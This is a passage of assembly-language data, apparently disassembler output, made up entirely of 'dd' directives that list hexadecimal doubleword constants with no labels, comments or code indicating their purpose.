dd 0D7006F78h, 0DF98966Ch, 3F7A58A4h, 1480318Ch, 0BA85C92Dh
dd 6004D32h, 79023DBBh, 0BF5346h, 493F4844h, 0C9282D6Bh
dd 8920A18h, 0C1404E78h, 0F4DDC81h, 0C6B99EE5h, 9745A243h
dd 843FE0BCh, 0F5FCFD23h, 3530C707h, 0F838EDC5h, 84306F45h
dd 9DB82024h, 0B8F46C55h, 0C10C4178h, 0C04702EBh, 30D5E889h
dd 0E3D1E7E4h, 0BB908263h, 0C824C31Dh, 8C23738Eh, 7AA521DCh
dd 5E96005Dh, 71664762h, 0F3710B4Ah, 0B99EB230h, 60DA198Ah
dd 468D836h, 0E17DB31h, 0B30C3F2Ch, 5034882h, 2F41F266h
dd 2C804D3Bh, 0AF24E419h, 0F662C632h, 0D654A455h, 6F826460h
dd 11CB6B23h, 18AC24D7h, 0AD2CC90Eh, 0AC088130h, 30B3E8A9h
dd 1F11434Fh, 5F382974h, 31C88C88h, 0C01509C0h, 297CFF21h
dd 0B871E393h, 0B7620218h, 518628B0h, 0A0E7B804h, 0A8CB2777h
dd 9AACC0h, 0B045D9F2h, 0A84D4393h, 21B108CCh, 64B3488Dh
dd 8017DF1Ch, 0D7A12530h, 58A4BA40h, 60273F44h, 26F639C5h
dd 69E261A3h, 4DCE3E00h, 397482B2h, 6EF0A0DFh, 0F8B453A5h
dd 80180454h, 0CF5423C6h, 0E8C6158h, 45DBF2A0h, 80B58891h
dd 0E0F2998Bh, 880176AAh, 4712BC2h, 8440CC2Eh, 732140E5h
dd 0C7718D9h, 0DE26B932h, 0B8A40B00h, 0C6E7A8BCh, 1C08CC04h
dd 0D6006D21h, 0D0B8880Bh, 7F5835Ah, 1CC3A5FFh, 34E7C335h
dd 0B1007BB3h, 61F29F0Eh, 7D9C056Dh, 0DF78C72Dh, 0ED48E243h
dd 117D7448h, 6DEC40h, 3C3A04F5h, 440E61B4h, 0CE849h, 7F140685h
dd 0E596F5h, 0DA3EDC0Fh, 0DE5EB474h, 478A3C09h, 823432CFh
dd 426B7478h, 0D6349930h, 0E875C311h, 3D0FC29Ah, 95E6A629h
dd 77623B0h, 0E4D8F29Bh, 27B462A8h, 0F2578Ch, 8C6759Ah
dd 61EBE530h, 1917A2Eh, 25392C5Bh, 4BD8041Ch, 0C028C8B4h
dd 0CDA1E8CAh, 0FCA4AA3Ch, 644E8200h, 65690DADh, 0D1F8C85Ch
dd 7205D5CAh, 7C22636Bh, 5FC123D9h, 2EAF16D0h, 192F0B1Ch
dd 46118884h, 0C00768D0h, 0B1CC24AAh, 2972C0B4h, 78468869h
dd 1001922h, 0E73B297Ah, 1D84E52Fh, 408211E2h, 789D51CEh
dd 1B48160Eh, 37D2334h, 0B89A0BD8h, 878038BDh, 0D0BD000h
dd 7A370175h, 560C02F7h, 0CA8E3699h, 0A57DC0A0h, 0C6687966h
dd 4676E010h, 0A4423EB9h, 0B099771h, 91589791h, 0A0809CDFh
dd 0C949BD1Ch, 0CB6A39D7h, 28DEB424h, 0F0E0278h, 0C828F005h
dd 18D48861h, 7182086Ah, 0D9C4DB6Bh, 0A05CA647h, 3A538B12h
dd 705EE79h, 99D6118Ch, 0FC70D801h, 0E8249CFDh, 0CD0800D7h
dd 98B8F97Eh, 38E44557h, 4EFCF07Dh, 460054B2h, 0CB6DD0E7h
dd 2D356B31h, 0CE76CF26h, 59210B18h, 0FF6E218h, 0AE589A8Fh
dd 65E52BC0h, 0C0926FE0h, 0C7F20E10h, 23286B3Fh, 145D46BCh
dd 2692F2A4h, 87704C80h, 0F0F2009Dh, 484B75D7h, 0A10E7E1h
dd 3E06B58Ah, 0E091BE19h, 0DED12099h, 70003418h, 86B69DEFh
dd 1B72E806h, 0E10A5880h, 0E3CB8BD9h, 0AD4034CAh, 9CF8FDEBh
dd 80AE9530h, 40B219E8h, 4724531Eh, 465E88A9h, 0D9270117h
dd 0E0C5899Fh, 1841B860h, 0A9E9420Fh, 493EFCF4h, 0AD35746Dh
dd 0E85378ABh, 0E023EC2Fh, 62BCB602h, 0DA4DC07Fh, 6FD40F65h
dd 8AC96442h, 0DF913817h, 135B5580h, 0AD722E43h, 0F51834E0h
dd 8E106AFh, 288F2831h, 66BF0790h, 0AD674B0Eh, 39484140h
dd 0FC4105CBh, 0E6474FB0h, 0EDDBF03Bh, 23EC69D0h, 8C6819D2h
dd 5C6CC66Bh, 7AA8DA44h, 2EA7A062h, 2CD10959h, 0F83783BAh
dd 0F3E25781h, 0D1F73404h, 90201C84h, 0D0294806h, 0D9BC244Ch
dd 36D4008Ch, 8F9F6B88h, 2D0C7F51h, 603F8EEDh, 0CB0E4040h
dd 0FEEA3705h, 5C2E5799h, 3E03B823h, 0B0C9F70Eh, 9A360ABAh
dd 0E9F00394h, 7CBEDF78h, 10829BF0h, 72C2ED00h, 69C4A2Bh
dd 4BE200A1h, 0F3F4EA24h, 0CD5C6FADh, 0C0B288A8h, 88682975h
dd 9C8043h, 9A6D297Dh, 2D600C90h, 98769E81h, 18910360h
dd 0F31456C5h, 7864F00Ch, 0CBFC1C7h, 0C228453Ch, 337D1A11h
dd 3049D207h, 0E801C775h, 6980134Dh, 436BD6E3h, 4B070161h
dd 120C6A8Fh, 0F599C1CEh, 0C6E87CB8h, 0B18C172Eh, 0B2A021CFh
dd 0D02C2481h, 1508908Ch, 0E07B6B75h, 0C28FDB88h, 4B974076h
dd 9093A4C7h, 0A10520C8h, 0F3F5FA05h, 984617ABh, 7C1C028h
dd 8E223A93h, 6AC63016h, 0F1009B86h, 0E87066F6h, 3513E0h
dd 0A2CD2E57h, 0F4C8813Dh, 112AB125h, 6E189564h, 88652908h
dd 401BC458h, 0D1297605h, 0F8CB0348h, 0B59BCEA7h, 0F394080h
dd 53943A4Ch, 30DEA25Ch, 6100CA42h, 2CCBEA83h, 0A2940E0h
dd 0EBD195B8h, 0D37301ACh, 40C061A2h, 3B410888h, 0D0704762h
dd 9614E1F0h, 29097118h, 9C608864h, 7904018Ch, 108DD29h
dd 98FCF02Ah, 0BF90EC61h, 28256A65h, 8C7B9460h, 0A00BDA04h
dd 1E62DCB8h, 0BD27120h, 0F1660097h, 7F0DD308h, 7A098C51h
dd 106CBFDFh, 0FD9DAF54h, 0E513B028h, 23443FCDh, 693E00DFh
dd 9755A4F5h
dd 272DA10Bh, 19CC0171h, 0FF0024A6h, 430083B9h, 170E061Ch
dd 18466065h, 20300749h, 3297E7Ah, 0D7D1DCAEh, 861C6018h
dd 6F47FE05h, 9CC5AB07h, 29B0C467h, 8C508866h, 3AC61A44h
dd 47002977h, 400CAD30h, 670BA4AFh, 210F4988h, 0E14170BCh
dd 0C4E15838h, 36A510BBh, 440C40B0h, 0C891C510h, 8281D41Eh
dd 38A2A775h, 0FC24E8C5h, 4FDF00D6h, 7644E0F8h, 0F1307DB8h
dd 55CF68F2h, 801E619Ch, 267A40D7h, 0BD9021Ch, 31D4B8A1h
dd 0D170102Ah, 883D000Bh, 0F60C180Dh, 0D90B2933h, 10470FE5h
dd 54C6F454h, 98379C41h, 903D2C64h, 40D0B4E8h, 0BDE6F984h
dd 8C2EDBA4h, 9D002606h, 36CB3BBAh, 4EF04B98h, 4CB08974h
dd 0F144140Ch, 0EDC1100Ch, 63230C4Ch, 0DDF29E07h, 0B76290D4h
dd 0F2978920h, 647A09F7h, 0C837AB11h, 7B25823Fh, 0E5AB1374h
dd 601BE474h, 3B9395h, 323F8DBDh, 44100B4Dh, 540AEE44h
dd 161B838h, 0E71ABA7Dh, 0E42D27CBh, 0F1654810h, 14C08529h
dd 15986F4Eh, 94DB4974h, 42F03708h, 0CD415144h, 4FE7BC3Eh
dd 0C02988FCh, 54BC7BE3h, 6BCDED00h, 0C1CBD64Ch, 0F79F0406h
dd 0CC82BFD1h, 0ED207D1Ch, 8A6F2CE1h, 0D6465E30h, 0B889FC3Fh
dd 20918Dh, 92F0330Eh, 0E70AB200h, 4803CF36h, 6FD53E8Bh
dd 26C82B11h, 467410CCh, 0EE4F03DAh, 98B5228Fh, 394DE562h
dd 6F0BF81Dh, 9448AEF5h, 0E801317Dh, 674125A9h, 142C214Ch
dd 81000722h, 0ED566F8Dh, 75D3B4h, 0CBFB9D7Dh, 91E84505h
dd 465EC89Eh, 900C001Ah, 4E8E9A24h, 0B9FE1C9Bh, 8CDD5475h
dd 6898A324h, 6FBF04ECh, 7E865C33h, 9C18C2C0h, 0B4465E84h
dd 168FEC0Fh, 0F8F0FE4Ch, 69C9E0F8h, 0DC203079h, 0B89E160Bh
dd 733838ACh, 50BD400h, 92C77750h, 0EA70119h, 0CC3EBE0h
dd 7C5091E6h, 9B0B429Eh, 484704B8h, 0BCF8607h, 692614C0h
dd 7AAE0270h, 0D0B799C7h, 0DE573460h, 3B0B7C18h, 0E8231B31h
dd 0EC2EB017h, 8F9002F0h, 3CB718B8h, 2BD88C85h, 3D1B2340h
dd 6624DF80h, 622ED83h, 0F0479129h, 7D181BD1h, 0C55A4A00h
dd 3E017369h, 44A8983Dh, 0B34B02E6h, 0BBBA105Fh, 12A4CC63h
dd 30D4BAF4h, 95AF44C1h, 7FA46E00h, 2C102114h, 8C17B848h
dd 6D32530Eh, 398A0173h, 58801FBBh, 66D1E204h, 1C00EE3Eh
dd 47F5836Eh, 0F5815FCEh, 448FF06Ch, 89F7C4E1h, 3C7F958h
dd 3F610027h, 53548371h, 2C160ECFh, 742111C0h, 20642E33h
dd 0CDE920ABh, 84400E29h, 0D9B2CA02h, 318A01BDh, 89AC746Bh
dd 465CE89Eh, 6B9D05D6h, 0B01363B0h, 32608492h, 12048089h
dd 0B2909898h, 0F2D48A89h, 0C07CEBh, 9139E05Bh, 0E64D75BAh
dd 0C305CC90h, 63C43620h, 259DECA0h, 6C801866h, 0FDCC7DB0h
dd 0F0455A31h, 59E2F3B1h, 181CD930h, 167E01B6h, 3A2856A9h
dd 25B1E582h, 8E99F984h, 0A86EA581h, 0C5EC0810h, 3F81B448h
dd 0EE1C36ABh, 881A6834h, 21C0C328h, 8902B160h, 6552027Bh
dd 8D593957h, 4404D0E0h, 89EC2C58h, 894007CCh, 2E530A44h
dd 11623B0h, 4D487115h, 93E46DB0h, 0B523F42Eh, 7FD5E300h
dd 75900Bh, 6637BA86h, 460FEA70h, 44001891h, 0F2743628h
dd 8834B3Bh, 0CD69E13Ch, 0A6AB4064h, 384C41E7h, 5F330BC0h
dd 54BC82BCh, 8D04000Bh, 0CD18AA16h, 3E987C90h, 5E4CB63Ch
dd 0B700DA46h, 52FE66F5h, 0D206774Ch, 455C5E9Dh, 0DE643A68h
dd 806C0226h, 114FDD82h, 6F5F83FBh, 0DA23343Ah, 0FC5F200h
dd 0A22B8B58h, 796479D1h, 5BF718B9h, 989C4804h, 6A2973C0h
dd 0B0705388h, 297B0280h, 0E87A9FEEh, 5044DAF1h, 49C93Bh
dd 902413CBh, 2DB4D012h, 0A4A40FFFh, 0BDD6076h, 0B4B825A5h
dd 6C007416h, 0D1B90BD5h, 977ACAh, 4DDC3B84h, 56118BFCh
dd 2E3C344Ch, 0C6487839h, 30FFF700h, 7CF40B8Ah, 4E0D75FCh
dd 235C2F33h, 0F83E3B18h, 0A8359800h, 81FC6FD9h, 90586CF5h
dd 8C1BB868h, 342F1500h, 666AAC0Fh, 0DDD12F64h, 1A915C17h
dd 0F1F6D49Dh, 881CDE0Bh, 3BDDA200h, 0C62B4F5h, 644A0E29h
dd 95F47CDCh, 0D2CF4824h, 0B867934Ch, 0FA60B744h, 0C203CE57h
dd 0CF0D4DA6h, 5A35924Eh, 8CD752B8h, 32301DF2h, 0C87E010Ah
dd 399544E3h, 0FE030DEh, 91413305h, 0EC8E53A5h, 0F9C716C8h
dd 0CBE28DD0h, 3AE600C1h, 715C26D1h, 0AA50F204h, 5D2463E8h
dd 465EC48Ah, 811100DCh, 0A3907215h, 0C1C21236h, 0B278A301h
dd 304E30B3h, 0E1396007h, 0A700B25Eh, 0B669E90Fh, 95091248h
dd 0EA700270h, 4C54A9B2h, 8BE4800Bh, 0C4D4C5E0h, 0F56F6127h
dd 8AFEE0h, 400F23FFh, 85B2AFBEh, 0A3623E1Ch, 0EC172CCAh
dd 0C29816h, 2440325Ch, 785245DEh, 0B0226Ch, 0E7F29686h
dd 0E28FB44Fh, 0F3D19805h, 0C004741Ch, 0D213C24Ah, 651AAEF0h
dd 6715C458h, 39FC82E0h, 4780962Eh, 454F4051h, 5882434Bh
dd 93DE0180h, 99C5361Bh, 0A83B2B03h, 0E200B323h, 0E9FD2CC5h
dd 0EDC80C4Ch, 0F521BE29h, 4700B1F6h, 8D1F518Ch, 17E8E573h
dd 0C8CE7D0Fh, 0A207E468h, 6BBCDE66h, 40A6A990h, 44BCB41Bh
dd 19C45E83h, 0A18E52h, 8E48242Ah, 0CF14886Ch, 36A58680h
dd 0ECA022D4h, 0CB1C234h, 20F3E409h, 0E969D670h, 811703B6h
dd 3B55C87Ah, 57E01D8Ah, 0A1006FB2h, 560ED167h, 45870ABh
dd 0A9C5B89Ch, 7E88ACE8h, 0E4AAF02Bh, 8330D70h, 781BE13h
dd 8EC53505h, 0D8E540D1h, 1BC2A189h, 94BA39C0h, 0FA7A4400h
dd 53E8F8A6h, 0C1B62C60h, 0E3891210h, 30B9E298h, 860144B4h
dd 88E836B0h, 0B46380BAh, 0E830B8A2h, 3E5B3B0Eh, 470CA1Eh
dd 0E290F48Bh, 30DFE2C8h, 28001CDBh, 4F8FB158h, 25F56B69h
dd 0DCC912AFh, 1C4910C2h, 0AA2400D1h, 9B2F6FF2h, 0DE04772Bh
dd 6B7F56Eh, 0EE849CBCh, 0AC2C018Fh, 2C20BCB9h, 0DC9B1392h
dd 23B83A69h, 6EDF0018h, 0C6DDD9E7h, 8244431Eh, 9DC75C9h
dd 91CCE70Ch, 3E661CBCh, 65CFEBC5h, 9C2E1402h, 9B98F0E1h
dd 75B80234h, 0A8D3ED5Dh, 5FE45CBEh, 0D523482Fh, 9F94973Fh
dd 24E23004h, 5FC6A01h, 0C022AC8h, 0CDD8FD17h, 0A283C170h
dd 0BA3DE8E3h, 0E7407D73h, 0C70E004Dh, 0CD7B1577h, 0A516DEC1h
dd 8CCBA926h, 0B9C01888h, 259764Ah, 66A54B48h, 8881EBB0h
dd 3C21C5AEh, 0B6C13E0h, 30AD9020h, 3B1F0BFEh, 14029512h
dd 9C582175h, 0D07B1A16h, 0D81EF000h, 14CB6D6Ch, 84A771A2h
dd 0B6198804h, 22A4E88Bh, 96EE0E23h, 5940C7E4h, 0BBE6DA63h
dd 98844800h, 0A17C5AB9h, 781501F2h, 43D9DB8h, 0E81C6C4Fh
dd 9A048CB0h, 0D9F6E57h, 0AD392781h, 0B1A24C63h, 3B377130h
dd 1A004149h, 95D9E648h, 3812D80Bh, 0FCE203CFh, 5D3222F2h
dd 0F7F67300h, 5028A5EBh, 4300100Ch, 0A0865E8Eh, 1E24F5C8h
dd 4074DAFAh, 21C21CA4h, 0F805E604h, 9FB602C7h, 41F0B401h
dd 9D008F5Fh, 409981BAh, 0C618B4D1h, 1B1AFF02h, 0D965BF7Dh
dd 0F18D0F10h, 3ECB04D0h, 18834418h, 14F4A458h, 806C52BFh
dd 0D27E3500h, 0AD65AC6Dh, 0E854A0D4h, 2B258C14h, 0D22CCB49h
dd 58520E8h, 7008A7DBh, 16A25E04h, 0E5D880CFh, 0C8A20143h
dd 0B5E458E5h, 4CC54260h, 0CB6CC26h, 91F097A5h, 5194801Ah
dd 7B263D0h, 988EA3E9h, 8002C474h, 0A6674164h, 0B7E1092Dh
dd 38BC80ECh, 0C9334D76h, 8BE4CA17h, 35836CC1h, 53BA8500h
dd 7696D09h, 70C45B46h, 7229D5D6h, 2100C84Fh, 2C1DE482h
dd 64280069h, 0C93223C1h
dd 0F83B9B4Dh, 512A0013h, 340FE581h, 7CDE1246h, 0C87CCB74h
dd 383BC621h, 6FF0F1Eh, 4789BF44h, 306F5C80h, 5A3C900Ah
dd 0B9AC6266h, 42433118h, 66DF8033h, 4A175A41h, 91ECC86Dh
dd 5E378500h, 0A4D095F1h, 10534C46h, 28CB9E8h, 0B46AC282h
dd 0FC58B6D1h, 5BB00E13h, 2F4FA4F3h, 0DF237Ch, 0F0D87DBDh
dd 0B2004C07h, 0FCF59431h, 0C6C4E532h, 0D1470BC9h, 0E1C06B01h
dd 0C92C3849h, 77C42F3Ah, 0FEDE008Ch, 6A11A2A9h, 9A2DC604h
dd 45FC340Bh, 88F04E10h, 0B9A6C71Ch, 3D8C2E80h, 0EC25FBE3h
dd 8B404033h, 25632031h, 35FC7013h, 0B5C000B0h, 0BAA31010h
dd 0F14158B0h, 0A6AA57C5h, 0F68A7510h, 0E8F0808Eh, 6E490F1Ah
dd 11C41D39h, 8D1580D7h, 0F44B31BAh, 0E0074852h, 480E4506h
dd 0EA1329D3h, 1481BDBAh, 28286828h, 3C30DEF9h, 0F4540061h
dd 17CCBFC1h, 0FE0E439Fh, 36EBC5EDh, 203F04CDh, 0A79DDBF8h
dd 0C041AA00h, 5C8D3D1Fh, 29AC6228h, 3420EBE4h, 3A66E943h
dd 0FC769DCAh, 500BAA0h, 9494663h, 0B10B32Eh, 336FCF4h
dd 151F1030h, 0E40E4E28h, 2146500h, 0F1A11830h, 63950B00h
dd 0BC5EE9DDh, 3E921882h, 40A628CEh, 0E8942158h, 7E138C21h
dd 0BCF53648h, 46460860h, 0C884F03Fh, 3D660FEAh, 1A8039BFh
dd 6306745h, 0C1CBD8C0h, 4BBA40FEh, 883CDA3Fh, 0C4F6C7D5h
dd 5444877Ah, 443D0096h, 999F52h, 0B2D28BB7h, 0A47ACF60h
dd 9D0FD00Eh, 0F40596A3h, 0B4A2B79Eh, 273019F2h, 25760F2Dh
dd 0A267FA1h, 2F164165h, 0E04B757Ch, 280C821Ch, 0B95421BEh
dd 8B6AE016h, 7C6B9B01h, 64973285h, 153F66CDh, 32B898C0h
dd 9C05861Ch, 89C00740h, 9A815619h, 58FB2ED8h, 5100DEC4h
dd 2DAF5F5Ah, 13ACE6B9h, 253A7BDDh, 0F20CF2E8h, 0CB9B3027h
dd 0C25E9203h, 0D86C173Ch, 13433ABAh, 210DC037h, 2E910B28h
dd 0DE23EC2Eh, 0C4488A00h, 8EF3AEh, 1EFCEA55h, 0E4C18DB8h
dd 3CD0C8A2h, 465E649Ch, 0EF3F001Ah, 0B796F834h, 0EBE77D0Ch
dd 0B68F23D8h, 0EB4B023Ch, 0E09790F4h, 0D687E091h, 0E7028010h
dd 277E467Dh, 25FC3712h, 3B309CC0h, 8BCD09B3h, 7084A3D4h
dd 177340BDh, 0D7FAE4h, 0AF31E783h, 0E1E002F2h, 750B1802h
dd 0A7390C61h, 0A0EF93C0h, 0DC6D3A92h, 96250BD3h, 681066BFh
dd 3B5ADE64h, 0DBC87CCBh, 0BFF9AFE0h, 0FC6F1EF1h, 0BCE5E729h
dd 91AC95A5h, 7AB482D5h, 5740E090h, 0BB8B925h, 7046633h
dd 0CCB080F8h, 6316617Fh, 1CA6B04Dh, 15BD2EE0h, 734F8612h
dd 870C0C08h, 504D6A6Ch, 9CF436Fh, 3351BA07h, 0E990DE65h
dd 0B6B7420Ah, 200B8A54h, 844340B4h, 2100B832h, 82A75239h
dd 7BA657h, 894D4476h, 0B0F56DFBh, 47CA0525h, 6014646Ch
dd 2E6C54DFh, 61C8C5F5h, 2EF619h, 17FCDB2h, 0E069F9FFh
dd 0E3DF35BFh, 0F52ECF98h, 709C919Fh, 0F8600B21h, 38134018h
dd 0D5CD8C16h, 4F431880h, 71663B44h, 0C42890h, 0E0D83C3Fh
dd 37BD26Fh, 6EA50DD5h, 402FEAA0h, 0E5C41264h, 602864B8h
dd 7009B947h, 0C57F60Fh, 42B8F555h, 6E72D1E1h, 65F3DD7Fh
dd 639BF14Ch, 331DA274h, 2F74CB90h, 7ECD3100h, 579A1047h
dd 0C96B27BFh, 0B0D6D042h, 1D465Eh, 4DB9FF95h, 7FCBE9h
dd 0C5B8538Bh, 454F01E1h, 5082154Fh, 791851CCh, 8C819DEh
dd 0F4840071h, 6D1DFB48h, 814AB22Ah, 0D988588Eh, 9B5F1EC0h
dd 8F0D09BFh, 50F8FC1Bh, 2BB83955h, 175D86Eh, 153069E6h
dd 0C08E9FF4h, 1B1340A7h, 0F4B52867h, 60D4DBD4h, 0B3442A48h
dd 65002DB1h, 0A867809Bh, 24939E98h, 3CD7C4h, 866DD9E2h
dd 75011006h, 0BF44EFF6h, 9C7CB367h, 4EDD82Dh, 10222760h
dd 0E158010Dh, 0FCF3D352h, 44322B38h, 40D07E68h, 0A3CEC95Ah
dd 42BC7000h, 9AEAA08h, 428F2F6h, 0FC43E55Dh, 8840FD64h
dd 0D6506A83h, 0E186D200h, 95AEC99Bh, 0C0CA5E61h, 293D3CDCh
dd 4D99A460h, 475FF35h, 80BAB12Dh, 1E4B9E4h, 38F71C8Dh
dd 65F85337h, 286400F3h, 7A6058FDh, 40009291h, 4E81DA19h
dd 3BD1AAh, 2943DE61h, 2BD558BAh, 5490AC4Bh, 7EFE31F2h
dd 805C9CBFh, 6FD4974Ah, 5100ED98h, 0FD04067Bh, 349491h
dd 634A03C9h, 4443F899h, 597DBA12h, 3DC31CA0h, 0C7DE5C36h
dd 0F0F2C944h, 9CEBFC2Ah, 0A5946621h, 2164A4E5h, 0C05E4760h
dd 0C563D601h, 46A4B031h, 0E1348BD6h, 4C633FB0h, 3304F409h
dd 1C59FCF3h, 31090D18h, 0C4F3D6D7h, 118A0890h, 820F94FEh
dd 4B0C1E6h, 0C5CB90BFh, 502ECEDh, 1F9101E8h, 19444CE7h
dd 0F989B560h, 0FDF9F772h, 3088480Ah, 0A6772C00h, 0A280029Bh
dd 0A00400F7h, 57D0C1BAh, 5F054E28h, 0C703F43h, 2256C84Fh
dd 7921EF3Dh, 18B77964h, 15D9280Fh, 60DF00C0h, 70C3C676h
dd 0A05A3204h, 0B42E4C17h, 0E2801623h, 3BB8DB20h, 2D6E30BFh
dd 0CD75B9E1h, 0C8ECC955h, 37BF62ABh, 2A170068h, 0AEAC7963h
dd 395D0890h, 1F8BC24h, 3612F9A2h, 78B4F3F0h, 8DC2C4E8h
dd 75B8B103h, 6FBCE0B5h, 37E20B02h, 0E45803CFh, 0B020773Ch
dd 489D006Dh, 415F38D2h, 8B17B5DCh, 0A09A910Dh, 5E3735C0h
dd 2201188h, 3310123Bh, 0E2E4F33Fh, 0A2873014h, 8024E55Ch
dd 0BAA4D849h, 574C009Ch, 0F27A1070h, 0B7972012h, 9EDD0030h
dd 25B5ECBh, 7C2D703h, 0A2498DABh, 0D9285190h, 293718D7h
dd 0BCCC6F5h, 8D883940h, 0BACA02CCh, 8955C40Dh, 2F440404h
dd 0F489405Dh, 8376098Ch, 0E577A301h, 90C5E80Eh, 0B0A23823h
dd 132330h, 4A11803Ch, 4D7F905Ah, 61EB0E05h, 98007655h
dd 2908866Ch, 774403ADh, 0D0B1AADDh, 1088E89Dh, 8C07A7C1h
dd 59220849h, 2D086456h, 0F1C213A3h, 0F23C321Ch, 9888301Eh
dd 449F4A26h, 0A0B46627h, 82BA7AE4h, 3E02545Ch, 0B5C7C889h
dd 28168034h, 0EA6F59DDh, 0EC88AA5Ch, 85008CD5h, 157FE130h
dd 0FC12193Ah, 40482567h, 0D47EA060h, 0C0479000h, 7BCB54EFh
dd 9C051276h, 8870E0A1h, 93A74112h, 8DB20042h, 0DC5409BFh
dd 0CCD0176Fh, 0F214270h, 0F755C2D6h, 110BE200h, 40CB2656h
dd 0C6980504h, 70A0C0E7h, 6612A589h, 0A4A40EC4h, 0FF140C9h
dd 0DA05E101h, 7C70B8Ah, 0C108B2Bh, 0F8E11355h, 3F19C9BFh
dd 0AF78105Ch, 3ECB8002h, 1F106C20h, 2D190A65h, 0B085A081h
dd 0D06EFC57h, 0DB318B0Ah, 5E050C23h, 40B8DA18h, 4D17F320h
dd 0C8244709h, 6BAAh, 0AA9D4B5Bh, 5155B46Ah, 57CAA4C1h
dd 52CD2804h, 9AFE6004h, 0B046801h, 28882BBAh, 94E8825h
dd 0DC4031DEh, 1C0DF8DBh, 9ABC004Fh, 68C03E66h, 0CF600B6Eh
dd 0AD8DAFB1h, 7C8C1DAh, 43113966h, 510746A4h, 0D19437C7h
dd 9D01DB0h, 0B919C17Bh, 59C9057Dh, 60E7DE1Ch, 846029E4h
dd 0DDF4EFEAh, 44908B00h, 577FCD93h, 3EBA265Fh, 0B81360B8h
dd 841DE397h, 7B02BEB2h, 0C0122748h, 5BB59DC5h, 0C800CEDDh
dd 0B425C0B6h, 8C2A983Bh, 4D0B8C01h, 3E44C9h, 6C1CD54h
dd 12F45B27h, 0C8F48B34h, 0C66C01Dh, 2134376h, 34300E5Ch
dd 40D9AC6Ah, 0D602DDBEh, 480E3327h, 0F8547846h, 2B49C037h
dd 0E3A2E915h, 821D9400h, 4E81AEFEh, 1E760171h, 0E1954608h
dd 97C0ADEFh, 80B5910Ch, 0BCAB255Eh, 6ACA0C1Eh, 0CF9995FCh
dd 58A47609h, 7B342010h, 3D0F975Fh, 590061C1h, 5DA84A8Ch
dd 2312CFE4h, 9C9328ACh, 88EB097h, 0BE8200FAh, 40F986B4h
dd 5100FDC6h, 90AF6BDCh
dd 2672B0D7h, 1E1365A3h, 60652FC7h, 0F86028C4h, 0EC3E8ACBh
dd 0DCF924D8h, 3D6C0607h, 0CBBE04F2h, 0E950E814h, 0F01DB545h
dd 0DD83B311h, 53C0A9EBh, 0ED136D64h, 0CC95430Fh, 1CEC74FCh
dd 1A39388Ch, 0A19BFD81h, 20F64093h, 4F88D77Ch, 0C26B3AA9h
dd 0B8E14480h, 0D3E39851h, 5CBA130Eh, 0EA9B675Ah, 7FC3F21h
dd 64B6C30h, 5891E8B0h, 0DC006911h, 0B4957D92h, 10E0F1h
dd 0EF0E108h, 0E3337B3Eh, 9816974Fh, 13C80CCBh, 440FB6C1h
dd 313E8449h, 0FCDE7F84h, 430583B8h, 0C828EFFEh, 0BF3DE881h
dd 0CB60643Fh, 0C01B88A8h, 667930C2h, 69F6450Fh, 17D9E9A3h
dd 8022911Ch, 0E5CF30ABh, 0B8B8A8F4h, 146A0025h, 37494F6Fh
dd 0D507B0D1h, 89B9F1E8h, 6CB9C767h, 30FC23A8h, 450B1426h
dd 4188CADBh, 3F6CD9Ch, 8BB092E6h, 0C01206D3h, 3040BA29h
dd 71CF639h, 94540041h, 0F1448642h, 2F02EB57h, 34A45D18h
dd 30205758h, 0B3C8C5E5h, 0F983EC0Eh, 250900CFh, 27BFE08Bh
dd 0E8813968h, 280DC5AFh, 836602BCh, 0F11155DEh, 18B7F190h
dd 0E4671676h, 32C8C864h, 2DF13Ch, 0BE156E99h, 3D1A56ACh
dd 0FE820BE0h, 350ADE52h, 73D34520h, 0FAE622h, 8593444h
dd 0A8B347FDh, 4A00D94Ch, 6C3844E2h, 34873614h, 0D0EFE415h
dd 0FAA46700h, 72D45D17h, 1A7883F8h, 0BAA3741Dh, 8A7800AFh
dd 0B234EA19h, 623E25E0h, 507054DBh, 3DB20029h, 542019B5h
dd 0CF16D396h, 64E6AADDh, 147101B0h, 385F2012h, 98E05819h
dd 19E50F10h, 3B4F63F0h, 10751CC8h, 964EE68Dh, 9B09B46Fh
dd 58F2E4B1h, 720F8F03h, 98BBE17Eh, 0EAB0EFh, 38207408h
dd 0CF3A3E88h, 72198B17h, 2A4B4F0h, 65BF588Ah, 79DF40E5h
dd 181DD119h, 18C50082h, 35E14C58h, 480E095Dh, 60F78B66h
dd 0F60D98Ch, 38F37CB7h, 0E981298Dh, 0C1F66105h, 9784F404h
dd 9AEA4FD7h, 1E3DC0B1h, 18FFECDAh, 5E0BED95h, 0A717BE66h
dd 0CBAA5B12h, 0C016880Fh, 89DB5248h, 0E7D5953Fh, 3BF2B52h
dd 0C07A985h, 8343D10h, 86350F32h, 0F6FE3F36h, 8019B061h
dd 3D30FCB4h, 8301E02Fh, 9B5036Bh, 0CAB87E27h, 0A96B8BCFh
dd 37ABCBDDh, 0E7F5C1A2h, 3AD8A5C3h, 11823A3h, 0E8942D33h
dd 3985C401h, 0C6C7F7CEh, 0A0C1EA1h, 700837B9h, 7EFA18EDh
dd 3D62BD81h, 0A207D02Bh, 23288587h, 22BEFFFCh, 74125CBDh
dd 0B3001946h, 8B471274h, 0B550FFF4h, 0B60E827h, 8C9E3929h
dd 57560116h, 8593A209h, 11D641E6h, 435E0206h, 0B7C98E0Eh
dd 0ED6C6D4h, 28CD61D6h, 0E8B57081h, 24F97B90h, 6600ABACh
dd 8ECFCC34h, 0AE2BC20h, 53F8BF0Fh, 0C39964F3h, 1DA1B0A1h
dd 0B4F6F4ACh, 9E3D6F00h, 0BD8B5FE8h, 0CC236AA1h, 2806119Fh
dd 2D418F89h, 2EDDFE88h, 0E5221A28h, 0BEF25F32h, 81607B20h
dd 9C2809C0h, 0D0021FCBh, 0E807109Dh, 9E2594Ch, 0D0883A64h
dd 0A3D12780h, 1E006884h, 4DE5F59Fh, 76998B8h, 616059B9h
dd 8E0F2258h, 0DEBFCF90h, 0E33E083Fh, 4805B188h, 0C8300979h
dd 8F8DE280h, 8B690102h, 0F27D59Dh, 0B07AD287h, 80612B1Dh
dd 5B50D93Ah, 23452EFAh, 0BBCA001Bh, 0A5AA9C3Ch, 66776401h
dd 20CFF681h, 0A9D8641h, 59950100h, 2BBFACA8h, 0A101B3Dh
dd 97D1BD89h, 7D3575AFh, 0C6704298h, 0BF5A172Ch, 9DD0067h
dd 0FFF882E9h, 0F3728BE2h, 6BFAC15Bh, 0A5FD0047h, 8DF15EBDh
dd 0C17FFEBh, 12FDE74h, 0FBB577B2h, 0F33C6080h, 91D38E80h
